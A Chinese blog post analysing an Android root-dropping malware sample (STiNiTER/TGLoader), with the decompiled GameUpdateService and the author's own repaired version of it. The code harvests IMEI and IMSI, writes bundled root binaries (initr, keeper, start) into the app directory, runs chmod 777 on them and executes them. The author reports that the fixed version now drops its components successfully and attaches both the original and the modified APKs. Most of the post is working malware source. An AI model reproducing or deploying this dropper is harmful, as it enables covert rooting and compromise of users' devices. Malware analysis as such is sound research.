欢迎来到 嗅灵易学

零基础也能上手的脚本技术课,一对一答疑带你入门

android的一款自释放root型恶意软件分析

android的一款自释放root型恶意软件分析

首先介绍个网站
http://contagiominidump.blogspot.com/
非常好的一个网站,主要是他隔三差五的会放出个android恶意软件,我的分析就是基于他给出的apk文件。
注意要FQ
android.dds.com-STiNiTER_analyse.apk
首先这个是我的目标
http://contagiominidump.blogspot.com/2012/03/androidstiniter-tgloader-malware.html#more
一个属于自释放root型的恶意代码。

1 首先解压缩,反编译就不细说了。具体用到了jd-gui,dex2jar,apktool
得到了AndroidManifest.xml

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="android.dds.com"
    android:versionCode="1"
    android:versionName="1.0" >
    <application
        android:icon="@drawable/icon"
        android:label="@string/app_name" >
        <activity
            android:configChanges="keyboardHidden|orientation"
            android:label="@string/app_name"
            android:name=".Main"
            android:screenOrientation="portrait" >
            <intent-filter >
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
        <service android:name=".service.PlayerBindService" />
        <service android:name="com.gamebox.service.GameUpdateService" />
    </application>
</manifest>
标红部分为恶意程序的主题,是个service
2. 打开Main class,这个是起始activity,打开Main.java代码:看到一启动Main,就启动了后台GameUpdateService
  public void onCreate(Bundle paramBundle)
  {
    super.onCreate(paramBundle);
    startService(new Intent(this, GameUpdateService.class));
Instance = this;

3 这是这个释放性root恶意软件的核心代码,有注释
package com.gamebox.service;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.content.res.Resources;
import android.dds.com.R;
import android.os.Build;
import android.os.Build.VERSION;
import android.os.IBinder;
import android.telephony.TelephonyManager;
import android.util.DisplayMetrics;
import java.io.BufferedReader;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.PrintStream;
import java.util.UUID;
public class GameUpdateService extends Service {
  private String DATA;
  private String IMEI;
  private String IMSI;
  private String MODEL;
  private InputStream MinputStreamAPK;
  private String MpathAPK;
  private int MstateAPKFile;
  private String OS;
  private String PHONENUMBER;
  private String PLATFORM;
  private String SCREENSIZE;
  private String infoName;
  private String infoPath;
  // 从raw资源中提取的恶意程序,root必要组件
  private InputStream inputStreamAPK;
  private InputStream inputStreamEX;
  private InputStream inputStreamEXE;
  private InputStream inputStreamID;
  private InputStream inputStreamKEEP;
  private InputStream inputStreamUNLOCK;
  private InputStream inputStreamstart;
  private DataInputStream localDataInputStream;
  private DataOutputStream localDataOutputStream;
  // 释放恶意程序,root必要组件的路径
  private String pathAPK;
  private String pathEX;
  private String pathEXE;
  private String pathID;
  private String pathKEEP;
  private String pathUNLOCK;
  private String pathstart;
  private Process process;
  //
  private int stateAPKFile;
  private int stateEXEFile;
  private int stateEXFile;
  private int stateIDFile;
  private int stateKEEPFile;
  private int stateUNLOCKFile;
  private int statestartFile;
  private String str;
  /*
   * 在service
   * oncreate结束后调用这些线程thread,第一个主要是输出这些apk到指定目录,这里我发现了些问题。在onCreate中已经提到了这个恶意程序的问题
   * 。 即data/data/android.gdwsklzz.com这个目录的权限问题,我估计是他抄的或者改的高达无双科鲁兹传的某个恶意软件版本。
   */
  Thread thread = new Thread(new Runnable() {
    public void run()
    { // 检查是否是root过的机子
      if (!new File("/system/bin/keeper").exists()) {
        System.out.println("---start rootSatae");
        try {
          while (true) {
            String str = new String(GameUpdateService.this.DATA
                .getBytes("UTF-8"), "UTF-8");
            // 这里会报错,因为infoPath是指向data/data/android.gdwsklzz.com/的,所以这个app是没有权限的,所以这个恶意程序在这里实际是走不通的。
            File localFile1 = new File(
                GameUpdateService.this.infoPath);
            if (!localFile1.exists())
              localFile1.mkdir();
            File localFile2 = new File(
                GameUpdateService.this.infoPath
                    + GameUpdateService.this.infoName);
            if (localFile2.exists())
              localFile2.delete();
                                            //这里实际上是创建新文件
            localFile2.createNewFile();
            FileOutputStream localFileOutputStream = new FileOutputStream(
                localFile2);
            localFileOutputStream.write(str.getBytes("UTF-8"));
            localFileOutputStream.flush();
            localFileOutputStream.close();
            // 后面是释放root代码的地方。这里利用的是从raw中提取的资源,利用后面的write方法写到了程序自己的目录中(而不是乱写别人的目录,这是不可能的),这里写了好几个apk,这也是关键的实现自释放的代码            GameUpdateService.this.stateUNLOCKFile = GameUpdateService.this
                .write(GameUpdateService.this.inputStreamUNLOCK,
                    GameUpdateService.this.pathUNLOCK);
            if (GameUpdateService.this.stateUNLOCKFile != 0)
              break label845;
            GameUpdateService.this.stateAPKFile = GameUpdateService.this
                .write(GameUpdateService.this.inputStreamAPK,
                    GameUpdateService.this.pathAPK);
            if (GameUpdateService.this.stateAPKFile != 0)
              break label817;
            GameUpdateService.this.MstateAPKFile = GameUpdateService.this
                .write(GameUpdateService.this.MinputStreamAPK,
                    GameUpdateService.this.MpathAPK);
            if (GameUpdateService.this.MstateAPKFile != 0)
              break label789;
            GameUpdateService.this.stateIDFile = GameUpdateService.this
                .write(GameUpdateService.this.inputStreamID,
                    GameUpdateService.this.pathID);
            if (GameUpdateService.this.stateIDFile != 0)
              break label743;
            GameUpdateService.this.stateEXEFile = GameUpdateService.this
                .write(GameUpdateService.this.inputStreamEXE,
                    GameUpdateService.this.pathEXE);
            if (GameUpdateService.this.stateEXEFile != 0)
              break;
            GameUpdateService.this.stateKEEPFile = GameUpdateService.this
                .write(GameUpdateService.this.inputStreamKEEP,
                    GameUpdateService.this.pathKEEP);
            if (GameUpdateService.this.stateKEEPFile == 0) {
              GameUpdateService.this.stateEXFile = GameUpdateService.this
                  .write(GameUpdateService.this.inputStreamEX,
                      GameUpdateService.this.pathEX);
              if (GameUpdateService.this.stateEXFile != 0)
                continue;
              GameUpdateService.this.statestartFile = GameUpdateService.this
                  .write(GameUpdateService.this.inputStreamstart,
                      GameUpdateService.this.pathstart);
              if (GameUpdateService.this.statestartFile != 0)
                continue;
              // 设置权限,给予运行的权限,这里是利用了java的Runtime.getRuntime().exec方法实现的
              GameUpdateService.this
                  .do_exec("chmod 777 /data/data/android.gdwsklzz.com/googleservice.apk");
              GameUpdateService.this
                  .do_exec("chmod 777 /data/data/android.gdwsklzz.com/googlemessage.apk");
              GameUpdateService.this
                  .do_exec("chmod 777 /data/data/android.gdwsklzz.com/unlock.apk");
              GameUpdateService.this
                  .do_exec("chmod 777 /data/data/android.gdwsklzz.com/ts");
              GameUpdateService.this
                  .do_exec("chmod 777 /data/data/android.gdwsklzz.com/keeper");
              GameUpdateService.this
                  .do_exec("chmod 777 /data/data/android.gdwsklzz.com/initr");
              //这里就是开始root了 ,thread12负责干这个事情
              GameUpdateService.this.thread1.start();
              GameUpdateService.this
                  .do_exec("chmod 777 /data/data/android.gdwsklzz.com/initr");
              GameUpdateService.this
                  .do_exec("/data/data/android.gdwsklzz.com/initr");
              return;
            }
            System.out.println("---fail writeKEEP");
            new File(GameUpdateService.this.pathKEEP).delete();
            try {
              Thread.sleep(10000L);
            } catch (InterruptedException localInterruptedException7) {
              localInterruptedException7.printStackTrace();
            }
          }
        } catch (IOException localIOException1) {
          
        }
      }
    }
  });
  // 应该还是root的代码。
  Thread thread1 = new Thread(new Runnable() {
    public void run() {
      GameUpdateService.this
          .do_exec("chmod 777 /data/data/android.gdwsklzz.com/start");
      GameUpdateService.this
          .do_exec("/data/data/android.gdwsklzz.com/start");
    }
  });
  // 应该还是root的代码。
  Thread thread2 = new Thread(new Runnable() {
    public void run() {
      GameUpdateService.this
          .do_exec("chmod 777 /sqlite_stmt_journals/initr");
      GameUpdateService.this.do_exec("/sqlite_stmt_journals/initr");
    }
  });
  private String version;
  /*
   * 这个是比较核心的一个方法,主要是Runtime.getRuntime().exec(paramString),执行命令
   * 并将结果返回localObject string类型。
   */
  String do_exec(String paramString) {
    Object localObject = "\n";
    try {
      BufferedReader localBufferedReader = new BufferedReader(
          new InputStreamReader(Runtime.getRuntime()
              .exec(paramString).getInputStream()));
      while (true) {
        String str1 = localBufferedReader.readLine();
        if (str1 == null)
          break;
        String str2 = localObject + str1 + "\n";
        localObject = str2;
      }
    } catch (IOException localIOException) {
      localIOException.printStackTrace();
    }
    return (String) paramString;
  }
  public IBinder onBind(Intent paramIntent) {
    return null;
  }
  /*
   * GameUpdateService 开始加载,一开始读取了本地号码等一些常规信息,没有什么大用,后面就是加载内部带的邪恶的apk了。
   */
  public void onCreate() {
    super.onCreate();
    // 打印信息开始,
    System.out.println("--- onCreate GameUpdateService ---");
    // 获取通信服务的管理器
    TelephonyManager localTelephonyManager = (TelephonyManager) getSystemService("phone");
    // 获取屏幕分辩率
    new DisplayMetrics();
    DisplayMetrics localDisplayMetrics = getApplicationContext()
        .getResources().getDisplayMetrics();
    // 得到机器码?这部分总而言之就是得到各种系统信息。
    this.IMEI = localTelephonyManager.getDeviceId();
    if ((this.IMEI == null) || (this.IMEI.equals("")))
      this.IMEI = UUID.randomUUID().toString();
    this.IMSI = localTelephonyManager.getSubscriberId();
    if (this.IMSI == null)
      this.IMSI = "";
    this.IMEI = this.IMEI;
    this.MODEL = Build.MODEL.replace(" ", "");
    this.SCREENSIZE = (localDisplayMetrics.widthPixels + "x" + localDisplayMetrics.heightPixels);
    this.PLATFORM = Build.VERSION.RELEASE;
    this.PHONENUMBER = "13800138000";
    this.OS = "Android";
    // 并打印
    System.out.println("IMEI---" + this.IMEI);
    System.out.println("IMSI---" + this.IMSI);
    System.out.println("MODEL---" + this.MODEL);
    System.out.println("SCREENSIZE---" + this.SCREENSIZE);
    System.out.println("PLATFORM---" + this.PLATFORM);
    System.out.println("PHONENUMBER---" + this.PHONENUMBER);
    System.out.println("OS---" + this.OS);
    // str1把如上信息组织起来,形成了一个xml,如下所示:
    /*
     * <?xml version="1.0" encoding="UTF-8"?> <Request> <MobileInfo>
     * <Imei>000000000000000</Imei> <Model>sdk</Model>
     * <ScreenSize>320x533</ScreenSize> <PlatForm>2.3.3</PlatForm>
     * <Os>Android</Os> <SmsCenter>13800138000</SmsCenter>
     * <PhoneNumber>13800138000</PhoneNumber> </MobileInfo>
     */
    String str1 = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<Request>\n<MobileInfo>\n<Imei>"
        + this.IMEI
        + "</Imei>\n"
        + "<Model>"
        + this.MODEL
        + "</Model>\n"
        + "<ScreenSize>"
        + this.SCREENSIZE
        + "</ScreenSize>\n"
        + "<PlatForm>"
        + this.PLATFORM
        + "</PlatForm>\n"
        + "<Os>"
        + this.OS
        + "</Os>\n"
        + "<SmsCenter>"
        + "13800138000"
        + "</SmsCenter>\n"
        + "<PhoneNumber>"
        + this.PHONENUMBER
        + "</PhoneNumber>\n"
        + "</MobileInfo>\n";
    this.DATA = str1;
    this.DATA = str1;
    System.out.println("DATA---" + this.DATA);
    /*
     * 下面就是比较关键的部分了,这个恶意apk,在它自身中包括了多个恶意apk,存放在raw中当作资源,有
     * googleservice.apk,googlemessage.apk,以及一些 initr, keeper, start, ts,
     * unlock.apk 这几个应该是用来root的 而path则是到时候这些apk应该释放的位置
     * 在这个恶意程序中选择了热门流行的gdwskizz即高达无双科鲁兹传的目录( 开始我以为当然如果你没装过这个软件就应该不会中招了
     * ---后来发现这个恶意程序有问题
     * ,我估计他是抄的高达无双科鲁兹传的某个恶意代码版本,结果路径还是android.gdwsklzz.com/那么明显这个路径是不存在
     * ,而且也是无法自己建立的。),
     */
    this.infoPath = "/data/data/android.gdwsklzz.com";
    this.infoName = "/sys.info";
    this.pathAPK = "/data/data/android.gdwsklzz.com/googleservice.apk";
    /*
     * 这个就是去raw资源中提取apk的过程,其中2130968578转化为16进制7F040002
     * 然后再gen下的R.java可以看到对应的是android public static final class raw { public
     * static final int android=0x7f040000; public static final int
     * googlemessage=0x7f040001; public static final int
     * googleservice=0x7f040002; public static final int initr=0x7f040003;
     * public static final int keeper=0x7f040004; public static final int
     * start=0x7f040005; public static final int ts=0x7f040006; public
     * static final int unlock=0x7f040007; }
     * 这就是对应的raw数值,因为是反编译的造成了这个差别,我们正常调用这个应该是这样写
     * getResources().openRawResource(R.raw.android); 赋值结束就进入
     * 程序开头的3个线程去负责root等事宜。
     */
    getResources().openRawResource(R.raw.android);
    this.inputStreamAPK = getResources().openRawResource(2130968578);
    this.pathID = "/data/data/android.gdwsklzz.com/android.info";
    this.inputStreamID = getResources().openRawResource(2130968576);
    this.MpathAPK = "/data/data/android.gdwsklzz.com/googlemessage.apk";
    this.MinputStreamAPK = getResources().openRawResource(2130968577);
    this.pathstart = "/data/data/android.gdwsklzz.com/start";
    this.inputStreamstart = getResources().openRawResource(2130968581);
    this.pathEX = "/data/data/android.gdwsklzz.com/initr";
    this.inputStreamEX = getResources().openRawResource(2130968579);
    this.pathEXE = "/data/data/android.gdwsklzz.com/ts";
    this.inputStreamEXE = getResources().openRawResource(2130968582);
    this.pathKEEP = "/data/data/android.gdwsklzz.com/keeper";
    this.inputStreamKEEP = getResources().openRawResource(2130968580);
    this.pathUNLOCK = "/data/data/android.gdwsklzz.com/unlock.apk";
    this.inputStreamUNLOCK = getResources().openRawResource(2130968583);
  }
  public void onDestroy() {
    super.onDestroy();
    System.out.println("--- onDestroy GameUpdateService ---");
  }
  public void onStart(Intent paramIntent, int paramInt) {
    super.onStart(paramIntent, paramInt);
    System.out.println("--- onStart GameUpdateService ---");
    this.thread.start();
  }
//这个是利用从rwa中得到的paramInputStream来写文件,代码很简单。
  public int write(InputStream paramInputStream, String paramString) {
    int i = 0;
    File localFile = new File(paramString);
    try {
      if (!localFile.exists()) {
        System.out.println("安装的文件" + paramString);
        FileOutputStream localFileOutputStream = new FileOutputStream(
            localFile);
        byte[] arrayOfByte = new byte[1024];
        while (true) {
          int j = paramInputStream.read(arrayOfByte);
          if (j <= 0) {
            localFileOutputStream.flush();
            localFileOutputStream.close();
            paramInputStream.close();
            break;
          }
          localFileOutputStream.write(arrayOfByte, 0, j);
        }
      }
    } catch (Exception localException) {
      System.out.println("erro");
      localException.printStackTrace();
      i = 1;
    }
    return i;
  }
}
/*
 * Location: F:\bishe\android\malware\
 * Android_Stiniter_TGLoader_E9AA097C6E87690F938BE8C75EF91C27
 * \classes_dex2jar.jar Qualified Name: com.gamebox.service.GameUpdateService
 * JD-Core Version: 0.6.0
 */

   他这个代码时运行不正常的,下面截图也反映了这一点,主要原因注释中我也写了,就是因为路径指定的问题,他估计是抄的别人的恶意代码,结果是导致了File件操作跨目录没有权限的。


   下面是我修正过的代码
package com.icetest.root;
import java.io.BufferedReader;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.util.UUID;
import android.app.Activity;
import android.content.Intent;
import android.os.Build;
import android.os.Bundle;
import android.os.IBinder;
import android.telephony.TelephonyManager;
import android.util.DisplayMetrics;
import android.util.Log;
import com.icetest.root.R;
public class Icetest2Activity extends Activity {
  /** Called when the activity is first created. */
  @Override
  public void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.main);
    // 打印信息开始,
    Log.i("ice root", "当前用户:" + do_exec("id -u"));
    Log.i("ice root", "--- onCreate Icetest2Activity ---");
    // 获取通信服务的管理器
    TelephonyManager localTelephonyManager = (TelephonyManager) getSystemService("phone");
    // 获取屏幕分辩率
    new DisplayMetrics();
    DisplayMetrics localDisplayMetrics = getApplicationContext()
        .getResources().getDisplayMetrics();
    // 得到机器码?这部分总而言之就是得到各种系统信息。
    this.IMEI = localTelephonyManager.getDeviceId();
    if ((this.IMEI == null) || (this.IMEI.equals("")))
      this.IMEI = UUID.randomUUID().toString();
    this.IMSI = localTelephonyManager.getSubscriberId();
    if (this.IMSI == null)
      this.IMSI = "";
    this.IMEI = this.IMEI;
    this.MODEL = Build.MODEL.replace(" ", "");
    this.SCREENSIZE = (localDisplayMetrics.widthPixels + "x" + localDisplayMetrics.heightPixels);
    this.PLATFORM = Build.VERSION.RELEASE;
    this.PHONENUMBER = "13800138000";
    this.OS = "Android";
    // 并打印
    Log.d("ice root", "IMEI---" + this.IMEI);
    Log.d("ice root", "IMSI---" + this.IMSI);
    Log.d("ice root", "MODEL---" + this.MODEL);
    Log.d("ice root", "SCREENSIZE---" + this.SCREENSIZE);
    Log.d("ice root", "PLATFORM---" + this.PLATFORM);
    Log.d("ice root", "PHONENUMBER---" + this.PHONENUMBER);
    Log.d("ice root", "OS---" + this.OS);
    // str1把如上信息组织起来,形成了一个xml,如下所示:
    /*
     * <?xml version="1.0" encoding="UTF-8"?> <Request> <MobileInfo>
     * <Imei>000000000000000</Imei> <Model>sdk</Model>
     * <ScreenSize>320x533</ScreenSize> <PlatForm>2.3.3</PlatForm>
     * <Os>Android</Os> <SmsCenter>13800138000</SmsCenter>
     * <PhoneNumber>13800138000</PhoneNumber> </MobileInfo>
     */
    String str1 = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<Request>\n<MobileInfo>\n<Imei>"
        + this.IMEI
        + "</Imei>\n"
        + "<Model>"
        + this.MODEL
        + "</Model>\n"
        + "<ScreenSize>"
        + this.SCREENSIZE
        + "</ScreenSize>\n"
        + "<PlatForm>"
        + this.PLATFORM
        + "</PlatForm>\n"
        + "<Os>"
        + this.OS
        + "</Os>\n"
        + "<SmsCenter>"
        + "13800138000"
        + "</SmsCenter>\n"
        + "<PhoneNumber>"
        + this.PHONENUMBER
        + "</PhoneNumber>\n"
        + "</MobileInfo>\n";
    this.DATA = str1;
    this.DATA = str1;
    Log.d("ice root", "DATA---" + this.DATA);
    /*
     * 下面就是比较关键的部分了,这个恶意apk,在它自身中包括了多个恶意apk,存放在raw中当作资源,有
     * googleservice.apk,googlemessage.apk,以及一些 initr, keeper, start, ts,
     * unlock.apk 这几个应该是用来root的 而path则是到时候这些apk应该释放的位置
     */
    this.infoPath = "/data/data/com.icetest.root";
    this.infoName = "/sys.info";
    this.pathAPK = "/data/data/com.icetest.root/googleservice.apk";
    /*
     * 这个就是去raw资源中提取apk的过程,
     */
    getResources().openRawResource(R.raw.android);
    this.inputStreamAPK = getResources().openRawResource(
        R.raw.googleservice);
    this.pathID = "/data/data/com.icetest.root/android.info";
    this.inputStreamID = getResources().openRawResource(R.raw.android);
    this.MpathAPK = "/data/data/com.icetest.root/googlemessage.apk";
    this.MinputStreamAPK = getResources().openRawResource(
        R.raw.googlemessage);
    this.pathstart = "/data/data/com.icetest.root/start";
    this.inputStreamstart = getResources().openRawResource(R.raw.start);
    this.pathEX = "/data/data/com.icetest.root/initr";
    this.inputStreamEX = getResources().openRawResource(R.raw.initr);
    this.pathEXE = "/data/data/com.icetest.root/ts";
    this.inputStreamEXE = getResources().openRawResource(R.raw.ts);
    this.pathKEEP = "/data/data/com.icetest.root/keeper";
    this.inputStreamKEEP = getResources().openRawResource(R.raw.keeper);
    this.pathUNLOCK = "/data/data/com.icetest.root/unlock.apk";
    this.inputStreamUNLOCK = getResources().openRawResource(R.raw.unlock);
  }
  private String DATA;
  private String IMEI;
  private String IMSI;
  private String MODEL;
  private InputStream MinputStreamAPK;
  private String MpathAPK;
  private int MstateAPKFile;
  private String OS;
  private String PHONENUMBER;
  private String PLATFORM;
  private String SCREENSIZE;
  private String infoName;
  private String infoPath;
  // 从raw资源中提取的恶意程序,root必要组件
  private InputStream inputStreamAPK;
  private InputStream inputStreamEX;
  private InputStream inputStreamEXE;
  private InputStream inputStreamID;
  private InputStream inputStreamKEEP;
  private InputStream inputStreamUNLOCK;
  private InputStream inputStreamstart;
  private DataInputStream localDataInputStream;
  private DataOutputStream localDataOutputStream;
  // 释放恶意程序,root必要组件的路径
  private String pathAPK;
  private String pathEX;
  private String pathEXE;
  private String pathID;
  private String pathKEEP;
  private String pathUNLOCK;
  private String pathstart;
  private Process process;
  //
  private int stateAPKFile;
  private int stateEXEFile;
  private int stateEXFile;
  private int stateIDFile;
  private int stateKEEPFile;
  private int stateUNLOCKFile;
  private int statestartFile;
  private String str;
  /*
   * 在service oncreate结束后调用这些线程thread,第一个主要是输出这些apk到指定目录,这里我发现了些问题。
   */
  Thread thread = new Thread(new Runnable() {
    public void run()
    { // 检查是否是root过的机子
      if (!new File("/system/bin/keeper").exists()) {
        Log.i("ice root", "---start rootSatae");
        try {
          while (true) {
            String str = new String(Icetest2Activity.this.DATA
                .getBytes("UTF-8"), "UTF-8");
            File localFile1 = new File(
                Icetest2Activity.this.infoPath);
            if (!localFile1.exists())
              localFile1.mkdir();
            File localFile2 = new File(
                Icetest2Activity.this.infoPath
                    + Icetest2Activity.this.infoName);
            if (localFile2.exists())
              localFile2.delete();
            localFile2.createNewFile();
            FileOutputStream localFileOutputStream = new FileOutputStream(
                localFile2);
            localFileOutputStream.write(str.getBytes("UTF-8"));
            localFileOutputStream.flush();
            localFileOutputStream.close();
            // 后面是释放root代码的地方。
            Icetest2Activity.this.stateUNLOCKFile = Icetest2Activity.this
                .write(Icetest2Activity.this.inputStreamUNLOCK,
                    Icetest2Activity.this.pathUNLOCK);
            if (Icetest2Activity.this.stateUNLOCKFile != 0)
              break;
            Icetest2Activity.this.stateAPKFile = Icetest2Activity.this
                .write(Icetest2Activity.this.inputStreamAPK,
                    Icetest2Activity.this.pathAPK);
            if (Icetest2Activity.this.stateAPKFile != 0)
              break;
            Icetest2Activity.this.MstateAPKFile = Icetest2Activity.this
                .write(Icetest2Activity.this.MinputStreamAPK,
                    Icetest2Activity.this.MpathAPK);
            if (Icetest2Activity.this.MstateAPKFile != 0)
              break;
            Icetest2Activity.this.stateIDFile = Icetest2Activity.this
                .write(Icetest2Activity.this.inputStreamID,
                    Icetest2Activity.this.pathID);
            if (Icetest2Activity.this.stateIDFile != 0)
              break;
            Icetest2Activity.this.stateEXEFile = Icetest2Activity.this
                .write(Icetest2Activity.this.inputStreamEXE,
                    Icetest2Activity.this.pathEXE);
            if (Icetest2Activity.this.stateEXEFile != 0)
              break;
            Icetest2Activity.this.stateKEEPFile = Icetest2Activity.this
                .write(Icetest2Activity.this.inputStreamKEEP,
                    Icetest2Activity.this.pathKEEP);
            if (Icetest2Activity.this.stateKEEPFile == 0) {
              Icetest2Activity.this.stateEXFile = Icetest2Activity.this
                  .write(Icetest2Activity.this.inputStreamEX,
                      Icetest2Activity.this.pathEX);
              if (Icetest2Activity.this.stateEXFile != 0)
                continue;
              Icetest2Activity.this.statestartFile = Icetest2Activity.this
                  .write(Icetest2Activity.this.inputStreamstart,
                      Icetest2Activity.this.pathstart);
              if (Icetest2Activity.this.statestartFile != 0)
                continue;
              // 设置权限,给予运行的权限,
              Icetest2Activity.this
                  .do_exec("chmod 777 /data/data/com.icetest.root/googleservice.apk");
              Icetest2Activity.this
                  .do_exec("chmod 777 /data/data/com.icetest.root/googlemessage.apk");
              Icetest2Activity.this
                  .do_exec("chmod 777 /data/data/com.icetest.root/unlock.apk");
              Icetest2Activity.this
                  .do_exec("chmod 777 /data/data/com.icetest.root/ts");
              Icetest2Activity.this
                  .do_exec("chmod 777 /data/data/com.icetest.root/keeper");
              Icetest2Activity.this
                  .do_exec("chmod 777 /data/data/com.icetest.root/initr");
              //
              Icetest2Activity.this.thread1.start();
              Icetest2Activity.this
                  .do_exec("chmod 777 /data/data/com.icetest.root/initr");
              Icetest2Activity.this
                  .do_exec("/data/data/com.icetest.root/initr");
              Log.i("ice root", "当前用户:" + do_exec("id -u"));
              return;
            }
          }
        } catch (IOException localIOException1) {
          localIOException1.printStackTrace();
        }
      }
    }
  }
  );
  // 应该还是root的代码。
  Thread thread1 = new Thread(new Runnable() {
    public void run() {
      Icetest2Activity.this
          .do_exec("chmod 777 /data/data/com.icetest.root/start");
      Icetest2Activity.this.do_exec("/data/data/com.icetest.root/start");
    }
  });
  // 应该还是root的代码。
  Thread thread2 = new Thread(new Runnable() {
    public void run() {
      Icetest2Activity.this
          .do_exec("chmod 777 /sqlite_stmt_journals/initr");
      Icetest2Activity.this.do_exec("/sqlite_stmt_journals/initr");
    }
  });
  private String version;
  /*
   * 这个是比较核心的一个方法,主要是Runtime.getRuntime().exec(paramString),执行命令
   * 并将结果返回localObject string类型。这个我修正了下,以前的输出是有问题的
   */
  String do_exec(String paramString) {
    String localObject = "\n";
    String lineS = "";
    try {
      Process proc = Runtime.getRuntime().exec(paramString);
      InputStreamReader isr = new InputStreamReader(proc.getInputStream());
      BufferedReader br = new BufferedReader(isr);
      String line = null;
      while ((line = br.readLine()) != null) {
        lineS = lineS + line + localObject;
      }
      return lineS;
    } catch (IOException localIOException) {
      localIOException.printStackTrace();
    }
    return lineS;
  }
  public IBinder onBind(Intent paramIntent) {
    return null;
  }
  /*
   * Icetest2Activity 开始加载,一开始读取了本地号码等一些常规信息,没有什么大用,后面就是加载内部带的邪恶的apk了。
   */
  public void onDestroy() {
    super.onDestroy();
    System.out.println("--- onDestroy Icetest2Activity ---");
  }
  @Override
  public void onStart() {
    super.onStart();
    System.out.println("--- onStart Icetest2Activity ---");
    this.thread.start();
  }
  public int write(InputStream paramInputStream, String paramString) {
    int i = 0;
    File localFile = new File(paramString);
    try {
      if (!localFile.exists()) {
        Log.i("ice root", "安装的文件" + paramString);
        FileOutputStream localFileOutputStream = new FileOutputStream(
            localFile);
        byte[] arrayOfByte = new byte[1024];
        while (true) {
          int j = paramInputStream.read(arrayOfByte);
          if (j <= 0) {
            localFileOutputStream.flush();
            localFileOutputStream.close();
            paramInputStream.close();
            break;
          }
          localFileOutputStream.write(arrayOfByte, 0, j);
        }
      }
    } catch (Exception localException) {
      System.out.println("erro");
      localException.printStackTrace();
      i = 1;
    }
    return i;
  }
}

这是我的运行结果,可以看到日志输出,文件释放和权限修改都成功了,至于root成功没,就不知道了,不过自释放这个功能是实现了。最后附件我打包了原始的恶意程序apk,我修改后的apk,恶意程序的反汇编源代码,以及一份简单的报告

上传的附件 ice_root.rar

注意:上传附件及图片大小不得大于30M。

⚠️ 版权声明:
本博客所有内容(含教程、源码、工具)仅供个人技术学习与研究交流使用,严禁商用、倒卖、二次分发及非法用途。
未经作者书面授权,任何组织或个人不得转载、复制或用于其他平台,违者将追究相关责任。

0 0 0 举报
复制成功